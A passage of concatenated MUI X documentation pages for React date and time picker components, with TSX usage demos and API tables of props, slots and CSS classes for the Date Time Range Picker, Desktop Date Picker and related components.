import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { renderTimeViewClock } from '@mui/x-date-pickers/timeViewRenderers';

export default function DateTimePickerViewRenderers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimePicker', 'DateTimePicker']}>
        <DateTimePicker
          label="With Time Clock"
          viewRenderers={{
            hours: renderTimeViewClock,
            minutes: renderTimeViewClock,
            seconds: renderTimeViewClock,
          }}
        />
        <DateTimePicker
          label="Without view renderers"
          viewRenderers={{
            hours: null,
            minutes: null,
            seconds: null,
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/react-date-pickers/date-time-range-field.md

---
productId: x-date-pickers
title: React Date Time Range Field components
components: MultiInputDateTimeRangeField, SingleInputDateTimeRangeField
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers-pro'
---

# Date Time Range Field [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Date Time Range Field lets the user select a range of dates with an explicit starting and ending time with the keyboard.

## Basic usage

:::info
All the topics covered below are applicable to both `SingleInputDateTimeRangeField` and `MultiInputDateTimeRangeField` unless explicitly mentioned.
:::

You can render your Date Time Range Field with either one input using `SingleInputDateTimeRangeField` or two inputs using `MultiInputDateTimeRangeField` as shown below.

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { MultiInputDateTimeRangeField } from '@mui/x-date-pickers-pro/MultiInputDateTimeRangeField';
import { SingleInputDateTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputDateTimeRangeField';

export default function BasicDateTimeRangeField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'SingleInputDateTimeRangeField',
          'MultiInputDateTimeRangeField',
        ]}
      >
        <SingleInputDateTimeRangeField label="Check-in - Check-out" />
        <MultiInputDateTimeRangeField
          slotProps={{
            textField: ({ position }) => ({
              label: position === 'start' ? 'Check-in' : 'Check-out',
            }),
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRange } from '@mui/x-date-pickers-pro/models';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { SingleInputDateTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputDateTimeRangeField';

export default function DateTimeRangeFieldValue() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>(() => [
    dayjs('2022-04-17T15:30'),
    dayjs('2022-04-21T18:30'),
  ]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'SingleInputDateTimeRangeField',
          'SingleInputDateTimeRangeField',
        ]}
      >
        <SingleInputDateTimeRangeField
          label="Uncontrolled field"
          defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-21T18:30')]}
        />
        <SingleInputDateTimeRangeField
          label="Controlled field"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/date-time-range-picker-tabs.md

# DateTimeRangePickerTabs API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Time Range Picker

## Import

```jsx
import { DateTimeRangePickerTabs } from '@mui/x-date-pickers-pro/DateTimeRangePicker';
// or
import { DateTimeRangePickerTabs } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| dateIcon | `element` | `DateRangeIcon` | No |  |
| hidden | `bool` | ``window.innerHeight < 667` for `DesktopDateTimeRangePicker` and `MobileDateTimeRangePicker`` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timeIcon | `element` | `TimeIcon` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | filler | Styles applied to the filler element, shown instead of a navigation arrow. |
| - | navigationButton | Styles applied to the tab navigation button elements. |
| - | root | Styles applied to the root element. |
| - | tabButton | Styles applied to the tab button element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DateTimeRangePicker/DateTimeRangePickerTabs.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DateTimeRangePicker/DateTimeRangePickerTabs.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-time-range-picker-toolbar.md

# DateTimeRangePickerToolbar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Time Range Picker

## Import

```jsx
import { DateTimeRangePickerToolbar } from '@mui/x-date-pickers-pro/DateTimeRangePicker';
// or
import { DateTimeRangePickerToolbar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| hidden | `bool` | ``true` for Desktop, `false` for Mobile.` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| toolbarFormat | `string` | - | No |  |
| toolbarPlaceholder | `node` | `"––"` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | endToolbar | Styles applied to the end toolbar element. |
| - | root | Styles applied to the root element. |
| - | startToolbar | Styles applied to the start toolbar element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DateTimeRangePicker/DateTimeRangePickerToolbar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DateTimeRangePicker/DateTimeRangePickerToolbar.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-time-range-picker.md

# Source: https://mui.com/x/react-date-pickers/date-time-range-picker.md

---
productId: x-date-pickers
title: React Date Time Range Picker component
components: DateTimeRangePicker, DesktopDateTimeRangePicker, MobileDateTimeRangePicker, DateRangeCalendar, DateRangePickerDay, DigitalClock, MultiSectionDigitalClock, DateTimeRangePickerTabs, DateTimeRangePickerToolbar
githubLabel: 'component: DateTimeRangePicker'
packageName: '@mui/x-date-pickers-pro'
materialDesign: https://m2.material.io/components/date-pickers
---

# Date Time Range Picker [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Date Time Range Picker lets the user select a range of dates with an explicit starting and ending time.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

export default function BasicDateTimeRangePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimeRangePicker']}>
        <DateTimeRangePicker />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Component composition

The component is built using the `SingleInputDateTimeRangeField` for the keyboard editing, the `DateRangeCalendar` for the date view editing and `DigitalClock` for the time view editing.

Check out their documentation page for more information:

- [Date Time Range Field](/x/react-date-pickers/date-time-range-field/)
- [Date Range Calendar](/x/react-date-pickers/date-range-calendar/)
- [Digital Clock](/x/react-date-pickers/digital-clock/)

You can check the available props of the combined component on the dedicated [API page](/x/api/date-pickers/date-time-range-picker/#props).
Some [SingleInputDateTimeRangeField props](/x/api/date-pickers/single-input-date-time-range-field/#props) are not available on the Picker component, you can use `slotProps.field` to pass them to the field.

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRange } from '@mui/x-date-pickers-pro/models';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

export default function DateTimeRangePickerValue() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>([
    dayjs('2022-04-17T15:30'),
    dayjs('2022-04-21T18:30'),
  ]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimeRangePicker', 'DateTimeRangePicker']}>
        <DemoItem label="Uncontrolled picker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-21T18:30')]}
          />
        </DemoItem>
        <DemoItem label="Controlled picker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            value={value}
            onChange={(newValue) => setValue(newValue)}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Available components

The component is available in three variants:

- The `DesktopDateTimeRangePicker` component which works best for mouse devices and large screens.
  It renders the views inside a popover and a field for keyboard editing.

- The `MobileDateTimeRangePicker` component which works best for touch devices and small screens.
  It renders the view inside a modal and does not let users edit values with the keyboard in the field.

- The `DateTimeRangePicker` component which renders `DesktopDateTimeRangePicker` or `MobileDateTimeRangePicker` depending on the device it runs on.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';
import { MobileDateTimeRangePicker } from '@mui/x-date-pickers-pro/MobileDateTimeRangePicker';
import { DesktopDateTimeRangePicker } from '@mui/x-date-pickers-pro/DesktopDateTimeRangePicker';

export default function ResponsiveDateTimeRangePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DateTimeRangePicker',
          'MobileDateTimeRangePicker',
          'DesktopDateTimeRangePicker',
        ]}
      >
        <DemoItem label="Desktop variant" component="DesktopDateTimeRangePicker">
          <DesktopDateTimeRangePicker
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-21T18:30')]}
          />
        </DemoItem>
        <DemoItem label="Mobile variant" component="MobileDateTimeRangePicker">
          <MobileDateTimeRangePicker
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-21T18:30')]}
          />
        </DemoItem>
        <DemoItem label="Responsive variant" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-21T18:30')]}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the `DateTimeRangePicker` component renders the desktop version if the media query [`@media (pointer: fine)`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/pointer) matches.
This can be customized with the `desktopModeMediaQuery` prop.

:::warning
Responsive components can suffer some inconsistencies between testing environments if media query is not supported.
Please refer to [this section](/x/react-date-pickers/base-concepts/#testing-caveats) for solutions.
:::

## Form props

The component supports the `disabled`, `readOnly` and `name` form props:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

export default function FormPropsDateTimeRangePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DateTimeRangePicker',
          'DateTimeRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DateTimeRangePicker label="disabled" disabled />
        <DateTimeRangePicker label="readOnly" readOnly />
        <DateTimeRangePicker label="name" name="startDateTimeRange" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Customization

### Render 1 to 3 months

You can render up to 3 months at the same time using the `calendars` prop.

:::info
This prop will be ignored on the mobile picker.
:::

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

export default function DateTimeRangePickerCalendarProp() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DateTimeRangePicker',
          'DateTimeRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="1 calendar" component="DateTimeRangePicker">
          <DateTimeRangePicker calendars={1} />
        </DemoItem>
        <DemoItem label="2 calendars" component="DateTimeRangePicker">
          <DateTimeRangePicker calendars={2} />
        </DemoItem>
        <DemoItem label="3 calendars" component="DateTimeRangePicker">
          <DateTimeRangePicker calendars={3} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Use a multi input field

You can pass the `MultiInputDateTimeRangeField` component to the Date Time Range Picker to use it for keyboard editing:

```tsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';
import { MultiInputDateTimeRangeField } from '@mui/x-date-pickers-pro/MultiInputDateTimeRangeField';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';

export default function MultiInputDateTimeRangePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['MultiInputDateTimeRangeField']}>
        <DateTimeRangePicker slots={{ field: MultiInputDateTimeRangeField }} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
You can find more information in a [dedicated documentation page section](/x/react-date-pickers/custom-field/#usage-inside-a-range-picker).
:::

### Customize the field

You can find the documentation in the [Custom field page](/x/react-date-pickers/custom-field/).

### Change view renderer

You can pass a different view renderer to the Date Time Range Picker to customize the views.

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';
import {
  renderDigitalClockTimeView,
  renderTimeViewClock,
} from '@mui/x-date-pickers/timeViewRenderers';

export default function DateTimeRangePickerViewRenderer() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimeRangePicker', 'DateTimeRangePicker']}>
        <DemoItem label="With digital clock" component="DateTimeRangePicker">
          <DateTimeRangePicker
            views={['day', 'hours']}
            timeSteps={{ minutes: 20 }}
            viewRenderers={{ hours: renderDigitalClockTimeView }}
          />
        </DemoItem>
        <DemoItem label="With analog clock" component="DateTimeRangePicker">
          <DateTimeRangePicker
            viewRenderers={{
              hours: renderTimeViewClock,
              minutes: renderTimeViewClock,
              seconds: renderTimeViewClock,
            }}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/day-calendar-skeleton.md

# DayCalendarSkeleton API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Calendar](/x/react-date-pickers/date-calendar/)

## Import

```jsx
import { DayCalendarSkeleton } from '@mui/x-date-pickers/DayCalendarSkeleton';
// or
import { DayCalendarSkeleton } from '@mui/x-date-pickers';
// or
import { DayCalendarSkeleton } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiDayCalendarSkeleton` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | daySkeleton | Styles applied to the day element. |
| - | root | Styles applied to the root element. |
| - | week | Styles applied to the week element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/DayCalendarSkeleton/DayCalendarSkeleton.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/DayCalendarSkeleton/DayCalendarSkeleton.tsx)

---

# Source: https://mui.com/x/api/date-pickers/desktop-date-picker.md

# DesktopDatePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Picker](/x/react-date-pickers/date-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { DesktopDatePicker } from '@mui/x-date-pickers/DesktopDatePicker';
// or
import { DesktopDatePicker } from '@mui/x-date-pickers';
// or
import { DesktopDatePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `true` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| monthsPerRow | `3 \| 4` | `3` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| onYearChange | `function(year: PickerValidDate) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'day' \| 'month' \| 'year'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => <span>...</span>` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate) => boolean` | - | No |  |
| shouldDisableMonth | `function(month: PickerValidDate) => boolean` | - | No |  |
| shouldDisableYear | `function(year: PickerValidDate) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'day' \| 'month' \| 'year'` | - | No |  |
| viewRenderers | `{ day?: func, month?: func, year?: func }` | - | No |  |
| views | `Array<'day' \| 'month' \| 'year'>` | - | No |  |
| yearsOrder | `'asc' \| 'desc'` | `'asc'` | No |  |
| yearsPerRow | `3 \| 4` | `4` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `PickersDay` | - | Custom component for day.
Check the [PickersDay](https://mui.com/x/api/date-pickers/pickers-day/) component. |
| desktopPaper | `PickerPopperPaper` | - | Custom component for the paper rendered inside the desktop picker's Popper. |
| desktopTransition | `Grow or Fade from '@mui/material' when `reduceAnimations` is `true`.` | - | Custom component for the desktop popper [Transition](https://mui.com/material-ui/transitions/). |
| desktopTrapFocus | `TrapFocus from '@mui/material'.` | - | Custom component for trapping the focus inside the views on desktop. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| monthButton | `MonthCalendarButton` | - | Button displayed to render a single month in the `month` view. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| popper | `Popper from '@mui/material'.` | - | Custom component for the popper inside which the views are rendered on desktop. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DatePickerToolbar` | - | Custom component for the toolbar rendered above the views. |
| yearButton | `YearCalendarButton` | - | Button displayed to render a single year in the `year` view. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/DesktopDatePicker/DesktopDatePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/DesktopDatePicker/DesktopDatePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/desktop-date-range-picker.md

# DesktopDateRangePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Range Picker
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { DesktopDateRangePicker } from '@mui/x-date-pickers-pro/DesktopDateRangePicker';
// or
import { DesktopDateRangePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | - | No |  |
| calendars | `1 \| 2 \| 3` | `2` | No |  |
| closeOnSelect | `bool` | `true` | No |  |
| currentMonthCalendarPosition | `1 \| 2 \| 3` | `1` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultRangePosition | `'end' \| 'start'` | `'start'` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disableAutoMonthSwitching | `bool` | `false` | No |  |
| disabled | `bool` | `false` | No |  |
| disableDragEditing | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onRangePositionChange | `function(rangePosition: RangePosition) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| rangePosition | `'end' \| 'start'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => "..."` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `Array<object>` | - | No |  |
| viewRenderers | `{ day?: func }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `DateRangePickersDay` | - | Custom component for day in range pickers.
Check the [DateRangePickersDay](https://mui.com/x/api/date-pickers/date-range-picker-day/) component. |
| desktopPaper | `PickerPopperPaper` | - | Custom component for the paper rendered inside the desktop picker's Popper. |
| desktopTransition | `Grow or Fade from '@mui/material' when `reduceAnimations` is `true`.` | - | Custom component for the desktop popper [Transition](https://mui.com/material-ui/transitions/). |
| desktopTrapFocus | `TrapFocus from '@mui/material'.` | - | Custom component for trapping the focus inside the views on desktop. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| popper | `Popper from '@mui/material'.` | - | Custom component for the popper inside which the views are rendered on desktop. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
